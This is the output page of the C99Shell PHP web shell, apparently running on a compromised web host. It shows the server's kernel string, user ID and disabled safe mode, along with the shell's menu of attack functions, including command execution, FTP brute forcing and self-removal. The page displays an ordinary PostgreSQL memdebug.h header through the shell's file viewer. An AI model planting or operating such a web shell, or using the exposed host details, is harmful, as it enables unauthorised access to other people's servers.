!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/pgsql-11/include/server/utils/   drwxr-xr-x
Free 6181.57 GB of 6262.77 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     memdebug.h (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * memdebug.h
 *      Memory debugging support.
 *
 * Currently, this file either wraps <valgrind/memcheck.h> or substitutes
 * empty definitions for Valgrind client request macros we use.
 *
 *
 * Portions Copyright (c) 1996-2018, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/utils/memdebug.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef MEMDEBUG_H
#define MEMDEBUG_H

#ifdef USE_VALGRIND
#include <valgrind/memcheck.h>
#else
#define VALGRIND_CHECK_MEM_IS_DEFINED(addr, size)            do {} while (0)
#define VALGRIND_CREATE_MEMPOOL(context, redzones, zeroed)    do {} while (0)
#define VALGRIND_DESTROY_MEMPOOL(context)                    do {} while (0)
#define VALGRIND_MAKE_MEM_DEFINED(addr, size)                do {} while (0)
#define VALGRIND_MAKE_MEM_NOACCESS(addr, size)                do {} while (0)
#define VALGRIND_MAKE_MEM_UNDEFINED(addr, size)                do {} while (0)
#define VALGRIND_MEMPOOL_ALLOC(context, addr, size)            do {} while (0)
#define VALGRIND_MEMPOOL_FREE(context, addr)                do {} while (0)
#define VALGRIND_MEMPOOL_CHANGE(context, optr, nptr, size)    do {} while (0)
#endif


#ifdef CLOBBER_FREED_MEMORY

/* Wipe freed memory for debugging purposes */
static inline void
wipe_mem(void *ptr, size_t size)
{
    VALGRIND_MAKE_MEM_UNDEFINED(ptr, size);
    memset(ptr, 0x7F, size);
    VALGRIND_MAKE_MEM_NOACCESS(ptr, size);
}

#endif                            /* CLOBBER_FREED_MEMORY */

#ifdef MEMORY_CONTEXT_CHECKING

static inline void
set_sentinel(void *base, Size offset)
{
    char       *ptr = (char *) base + offset;

    VALGRIND_MAKE_MEM_UNDEFINED(ptr, 1);
    *ptr = 0x7E;
    VALGRIND_MAKE_MEM_NOACCESS(ptr, 1);
}

static inline bool
sentinel_ok(const void *base, Size offset)
{
    const char *ptr = (const char *) base + offset;
    bool        ret;

    VALGRIND_MAKE_MEM_DEFINED(ptr, 1);
    ret = *ptr == 0x7E;
    VALGRIND_MAKE_MEM_NOACCESS(ptr, 1);

    return ret;
}

#endif                            /* MEMORY_CONTEXT_CHECKING */

#ifdef RANDOMIZE_ALLOCATED_MEMORY

void        randomize_mem(char *ptr, size_t size);

#endif                            /* RANDOMIZE_ALLOCATED_MEMORY */


#endif                            /* MEMDEBUG_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0117 ]--